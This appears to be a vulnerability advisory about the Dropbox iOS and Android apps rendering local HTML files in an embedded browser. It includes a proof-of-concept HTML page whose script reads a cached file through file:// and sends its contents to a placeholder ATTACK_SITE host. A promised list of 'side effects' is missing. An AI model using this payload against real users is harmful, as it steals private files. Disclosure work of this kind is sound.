Dropbox App for iOS
Dropbox App for Android
1.4.6 (iOS)
2.0.1 (Android)
A significant feature of the Dropbox apps is allowing a user to view either his files or files shared with him. The Dropbox apps achieve this by using an embedded browser (e.g by using the UIWebView class in iOS) to display the contents of these files. Amongst numerous file types, the Dropbox apps allow the user to view HTML files in a rendered format. To do this, the Dropbox apps use an embedded browser window to render the locally stored HTML file. The method with which the DropBox apps render an HTML file has two side effects:
The following is a PoC illustrates a malicious HTML file that steals a secret file from the user’s Dropbox account (iOS Version):
<html>
<head>
<title>Malicious HTML File!</title>
</head>
<body>
<script>
function readDropBoxFileiOS(fileName) {
// Create a new XHR Object
x = new XMLHttpRequest();
// When file content is available, send it back
x.onreadystatechange = function () {
if (x.readyState == 4) {
x2 = new XMLHttpRequest();
x2.onreadystatechange = function () {};
// x.responseText contains the content of fileName
// which we’ll send back to ATTACK_SITE
x2.open("GET", "http://ATTACK_SITE/?file_content=" +
encodeURI(x.responseText));
x2.send();
}
}
// Try to read the content of the specified file
x.open("GET", fileName);
x.send();
};
// Reads the a secret file from the user’s local cache
readDropBoxFileiOS("file:///var/mobile/Applications/APP_UUID/
Library/Caches/Dropbox/Secrets/secret.txt");
</script>
<h1>This malicious file will now leak a secret file!</h1>
</body>
</html>